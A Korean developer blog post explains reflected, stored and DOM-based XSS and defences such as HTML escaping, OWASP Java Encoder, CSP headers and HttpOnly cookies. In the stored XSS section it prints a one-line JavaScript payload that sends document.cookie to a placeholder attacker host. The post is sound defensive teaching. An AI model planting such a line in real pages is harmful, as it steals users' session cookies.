💡 개요
HttpOnly 형태의 쿠키를 사용하면 XSS을 방지할 수 있다는데 도대체 XSS은 뭐고, 무슨 원리로 XSS을 방지할 수 있는 것일까..?
🛠️ XSS (Cross-Site Scripting)
XSS(Cross-Site Scripting)란 크로스사이트 스크립팅의 약자로 웹 사이트의 게시판과 같은 기능에 공격자가 임의의 스크립트 코드를 삽입해 개발자의 의도와 전혀 다른 기능이 수행되게 하는 공격이다.
보통 많은 해커들은 Origin 서버를 공격하지만, XSS는 클라이언트 측을 공격하는 방식이다.
XSS의 방식은 크게 Reflected XSS, Stored XSS, DOM based XSS로 나뉜다.
⚙️ Reflected XSS
가장 많이 사용되는 XSS 방식으로 사용자의 입력값이 서버를 거쳐 즉시 응답에 반영되면서 악성 스크립트가 실행되는 방식이다.
🔍 동작 원리
- 공격자가 악의적인 스크립트를 URL 파라미터, 폼 입력, HTTP 요청 헤더 등에 삽입
- 서버는 이 값을 그대로 응답 HTML에 포함하여 브라우저로 반환
- 피해자가 이 URL을 클릭하면, 브라우저가 HTML을 해석하면서 스크립트를 실행
🛡 방어 방법
출력 시 HTML 이스케이프
입력값을 그대로 HTML에 출력하지 않고 이스케이프 처리한다.
// Spring + Thymeleaf 예시
<p th:text="${param.query}">검색어</p> <!-- 자동 escape 처리됨 -->
보안 라이브러리 활용
- OWASP Java Encoder
- Spring Security의 XSS 필터 기능 (보통 내가 가장 많이 사용하는 방식)
CSP(Content Security Policy) 적용
서버에서 Content-Security-Policy HTTP 헤더 설정으로 인라인 스크립트 차단이 가능하다.
Content-Security-Policy: default-src 'self'; script-src 'self'
⚙️ Stored XSS
Stored XSS는 악의적인 스크립트가 서버의 DB에 저장되는 방식의 공격이다.
만약 DB에 악의적인 스크립트가 저장된다면 클라이언트는 지속해서 악의적인 스크립트에 노출된다.
Stored XSS는 지속성이라는 문제 때문에 가장 위험한 XSS 공격에 속한다.
🔍 동작 원리
- 공격자가 악성 스크립트를 입력
- 서버가 이 입력을 저장
- 다른 사용자가 저장된 콘텐츠를 조회
- 클라이언트의 브라우저에서 악의적인 스크립트가 실행
대표적인 예시로 만약 악의적인 댓글을 작성하는 스크립트를 DB에 저장한다면, 댓글을 작성할 때마다 사용자가 작성한 댓글과 전혀 다른 댓글이 작성되는 것이다.
fetch("<<a href=http://attacker.com?cookie=>http://attacker.com?cookie=</a>>" + document.cookie)
🛡 방어 방법
출력 시 이스케이프(Escape)
<, >, ", ', & 같은 HTML 특수 문자를 이스케이프 한다. (<script> → <script>)
<!-- 예: Spring + Thymeleaf -->
<span th:text="${user.nickname}">닉네임</span>
Content Security Policy(CSP)
Content-Security-Policy: script-src 'self'
라이브러리 사용
- OWASP Java Encoder
- Spring Security 내장 XSS 필터
⚙️ DOM based XSS
DOM-based XSS는 공격자가 악의적인 스크립트를 클라이언트 측(JavaScript)에서 실행되도록 유도하는 XSS 유형이다.
이 공격은 서버의 응답 자체는 변하지 않고, 클라이언트에서 동적으로 생성되거나 조작된 DOM을 통해 발생한다.
즉, 페이지의 원본 HTML은 그대로지만, JavaScript가 URL 파라미터나 해시값 등을 읽어 DOM을 변경하는 과정에서 XSS가 발생한다.
🤔 결론
XSS를 정리해 보면, 모든 XSS 공격은 JavaScript 코드를 통해 실행된다는 공통점이 있다.
따라서 쿠키에 HttpOnly 옵션을 설정하면, JavaScript에서는 해당 쿠키에 접근할 수 없게 되어 쿠키 탈취와 같은 주요 피해를 효과적으로 막을 수 있을 것 같다.
'개발 일기' 카테고리의 다른 글
[개발 일기] 2025.05.22 - JavaScript 얕은 복사? (1) | 2025.05.22 |
---|---|
[개발 일기] 2025.05.21 - 점진적인 개선 (Feat : 클린코드) (0) | 2025.05.21 |
[개발 일기] 2025.05.19 - ConcurrentHashMap이 HashMap보다 빠른 이유 (1) | 2025.05.19 |
[개발 일기] 2025.05.18 - Spring Flux을 많이 사용하지 않는 이유? (0) | 2025.05.18 |
[개발 일기] 2025.05.17 - 비동기와 멀티스레딩? (1) | 2025.05.17 |